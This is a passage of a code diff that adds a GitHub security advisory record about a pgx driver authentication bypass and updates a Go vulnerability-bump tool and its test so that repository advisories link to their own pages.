can:\r\n\r\n- Be accepted as the database server despite the client's explicit `require_auth` or `channel_binding=require` requirement.\r\n- Read every query and bind parameter the client subsequently sends, which commonly contain sensitive application data.\r\n- Return attacker-chosen result sets, which the application trusts and acts on.\r\n\r\nThe attacker does not need any privileges on the client host and no user interaction is required. The client's stored database password is not directly disclosed by this specific bypass, because the rogue server never requests it; the exposure is the confidentiality of the data the client sends in queries and the integrity of the results it receives, together with the loss of the server-authentication guarantee the parameters are meant to provide.", + "severity": "high", + "author": null, + "publisher": { + "login": "jackc", + "id": 94130, + "node_id": "MDQ6VXNlcjk0MTMw", + "avatar_url": "https://avatars.githubusercontent.com/u/94130?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/jackc", + "html_url": "https://github.com/jackc", + "followers_url": "https://api.github.com/users/jackc/followers", + "following_url": "https://api.github.com/users/jackc/following{/other_user}", + "gists_url": "https://api.github.com/users/jackc/gists{/gist_id}", + "starred_url": "https://api.github.com/users/jackc/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/jackc/subscriptions", + "organizations_url": "https://api.github.com/users/jackc/orgs", + "repos_url": "https://api.github.com/users/jackc/repos", + "events_url": "https://api.github.com/users/jackc/events{/privacy}", + "received_events_url": "https://api.github.com/users/jackc/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + }, + "identifiers": [ + { + "value": "GHSA-95fj-3fxw-g62g", + "type": "GHSA" + } + ], + "state": "published", + "created_at": null, + "updated_at": "2026-10-31T00:55:56Z", + "published_at": "2026-10-31T00:55:55Z", + "closed_at": null, + "withdrawn_at": null, + "submission": null, + "vulnerabilities": [ + { + "package": { + "ecosystem": "go", + "name": "github.com/jackc/pgx/v5" + }, + "vulnerable_version_range": ">= 5.9.0", + "patched_versions": "", + "vulnerable_functions": [] + } + ], + "cvss_severities": { + "cvss_v3": { + "vector_string": null, + "score": null + }, + "cvss_v4": { + "vector_string": null, + "score": null + } + }, + "cwes": [ + { + "cwe_id": "CWE-287", + "name": "Improper Authentication" + }, + { + "cwe_id": "CWE-304", + "name": "Missing Critical Step in Authentication" + } + ], + "cwe_ids": [ + "CWE-287", + "CWE-304" + ], + "credits": [ + { + "login": "president-xd", + "type": "reporter" + }, + { + "login": "hash3liZer", + "type": "analyst" + }, + { + "login": "eros938", + "type": "analyst" + } + ], + "credits_detailed": [ + { + "user": { + "login": "president-xd", + "id": 160683327, + "node_id": "U_kgDOCZPVPw", + "avatar_url": "https://avatars.githubusercontent.com/u/160683327?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/president-xd", + "html_url": "https://github.com/president-xd", + "followers_url": "https://api.github.com/users/president-xd/followers", + "following_url": "https://api.github.com/users/president-xd/following{/other_user}", + "gists_url": "https://api.github.com/users/president-xd/gists{/gist_id}", + "starred_url": "https://api.github.com/users/president-xd/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/president-xd/subscriptions", + "organizations_url": "https://api.github.com/users/president-xd/orgs", + "repos_url": "https://api.github.com/users/president-xd/repos", + "events_url": "https://api.github.com/users/president-xd/events{/privacy}", + "received_events_url": "https://api.github.com/users/president-xd/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + }, + "type": "reporter", + "state": "accepted" + }, + { + "user": { + "login": "hash3liZer", + "id": 29171692, + "node_id": "MDQ6VXNlcjI5MTcxNjky", + "avatar_url": "https://avatars.githubusercontent.com/u/29171692?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/hash3liZer", + "html_url": "https://github.com/hash3liZer", + "followers_url": "https://api.github.com/users/hash3liZer/followers", + "following_url": "https://api.github.com/users/hash3liZer/following{/other_user}", + "gists_url": "https://api.github.com/users/hash3liZer/gists{/gist_id}", + "starred_url": "https://api.github.com/users/hash3liZer/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/hash3liZer/subscriptions", + "organizations_url": "https://api.github.com/users/hash3liZer/orgs", + "repos_url": "https://api.github.com/users/hash3liZer/repos", + "events_url": "https://api.github.com/users/hash3liZer/events{/privacy}", + "received_events_url": "https://api.github.com/users/hash3liZer/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + }, + "type": "analyst", + "state": "accepted" + }, + { + "user": { + "login": "eros938", + "id": 150992485, + "node_id": "U_kgDOCP_2ZQ", + "avatar_url": "https://avatars.githubusercontent.com/u/150992485?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/eros938", + "html_url": "https://github.com/eros938", + "followers_url": "https://api.github.com/users/eros938/followers", + "following_url": "https://api.github.com/users/eros938/following{/other_user}", + "gists_url": "https://api.github.com/users/eros938/gists{/gist_id}", + "starred_url": "https://api.github.com/users/eros938/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/eros938/subscriptions", + "organizations_url": "https://api.github.com/users/eros938/orgs", + "repos_url": "https://api.github.com/users/eros938/repos", + "events_url": "https://api.github.com/users/eros938/events{/privacy}", + "received_events_url": "https://api.github.com/users/eros938/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + }, + "type": "analyst", + "state": "accepted" + } + ], + "collaborating_users": null, + "collaborating_teams": null, + "private_fork": null, + "comments": 1, + "cvss": { + "vector_string": null, + "score": null + } + } +] diff --git a/tools/vulnbump/bumps.go b/tools/vulnbump/bumps.go index ca19a381822..eac7aeb481a 100644 --- a/tools/vulnbump/bumps.go +++ b/tools/vulnbump/bumps.go @@ -23,8 +23,17 @@ const advisoryBaseURL = "https://pkg.go.dev/vuln/" // advisory identifies a Go vulnerability and its CVE alias. type advisory struct { - ID string // GO-YYYY-NNNN, always present. + ID string // GO-YYYY-NNNN, or GHSA-xxxx-xxxx-xxxx for repository advisories; always present. CVE string // CVE-YYYY-NNNN, empty until one is assigned (it can lag the Go advisory by days). + URL string // Advisory page from the osv record; empty means the Go vulnerability database page. +} + +// link is the advisory page the label points to. +func (a advisory) link() string { + if a.URL != "" { + return a.URL + } + return advisoryBaseURL + a.ID } // label is the link text for an advisory: the CVE when known, else the Go ID. @@ -54,10 +63,14 @@ type govulncheckFinding struct { } // govulncheckOSV mirrors the "osv" message emitted by `govulncheck -format json`, -// which carries the full advisory record including its CVE aliases. +// which carries the full advisory record including its CVE aliases and, for +// repository advisories, the page URL. type govulncheckOSV struct { - ID string `json:"id"` - Aliases []string `json:"aliases"` + ID string `json:"id"` + Aliases []string `json:"aliases"` + DatabaseSpecific struct { + URL string `json:"url"` + } `json:"database_specific"` } // parseBumps reads the concatenated JSON stream from `govulncheck -format json` @@ -73,7 +86,7 @@ func parseBumps(r io.Reader) ([]bump, error) { byModule := map[string]*acc{} // govulncheck emits a separate "osv" message per advisory; collect the CVE // aliases so findings (which carry only the Go ID) can be labelled with it. - cveByID := map[string]string{} + osvByID := map[string]govulncheckOSV{} dec := json.NewDecoder(r) for { @@ -90,7 +103,7 @@ func parseBumps(r io.Reader) ([]bump, error) { } if o := msg.OSV; o != nil { - cveByID[o.ID] = firstCVE(o.Aliases) + osvByID[o.ID] = *o } f := msg.Finding @@ -119,7 +132,8 @@ func parseBumps(r io.Reader) ([]bump, error) { for module, a := range byModule { var advisories []advisory for _, id := range slices.Sorted(maps.Keys(a.advisories)) { - advisories = append(advisories, advisory{ID: id, CVE: cveByID[id]}) + o := osvByID[id] + advisories = append(advisories, advisory{ID: id, CVE: firstCVE(o.Aliases), URL: o.DatabaseSpecific.URL}) } bumps = append(bumps, bump{ Module: module, @@ -158,7 +172,7 @@ func renderSummary(bumps []bump) string { continue } seen[adv.label()] = struct{}{} - fmt.Fprintf(&refs, "[%s]: %s%s\n", adv.label(), advisoryBaseURL, adv.ID) + fmt.Fprintf(&refs, "[%s]: %s\n", adv.label(), adv.link()) } fmt.Fprintf(&list, "- %s → %s (fixes %s)\n", bump.Module, bump.FixedVersion, strings.Join(labels, ", ")) diff --git a/tools/vulnbump/bumps_test.go b/tools/vulnbump/bumps_test.go index 3220086472c..50d719b47c6 100644 --- a/tools/vulnbump/bumps_test.go +++ b/tools/vulnbump/bumps_test.go @@ -110,3 +110,22 @@ func TestRenderSummaryNoCVE(t *testing.T) { "[GO-2026-5021]: https://pkg.go.dev/vuln/GO-2026-5021\n" assert.Equal(t, want, renderSummary(bumps)) } + +// TestRenderSummaryRepositoryAdvisory checks that an advisory carrying its own +// page URL links there rather than to the Go vulnerability database. +func TestRenderSummaryRepositoryAdvisory(t *testing.T) { + bumps := []bump{ + { + Module: "github.com/jackc/pgx/v5", + FixedVersion: "v5.12.0", + Advisories: []advisory{ + {ID: "GHSA-j38q-h3ph-jjpq", URL: "https://github.com/jackc/pgx/security/advisories/GHSA-j38q-h3ph-jjpq"}, + }, + }, + } + + want := "- github.com/jackc/pgx/v5 → v5.12.0 (fixes [GHSA-j38q-h3ph-jjpq])\n" + + "\n" + + "[GHSA-j38q-h3ph-jjpq]: https://github.com/jackc/pgx/security/advisories/GHSA-j38q-h3ph-jjpq\n" + assert.Equal(t, want, renderSummary(bumps)) +}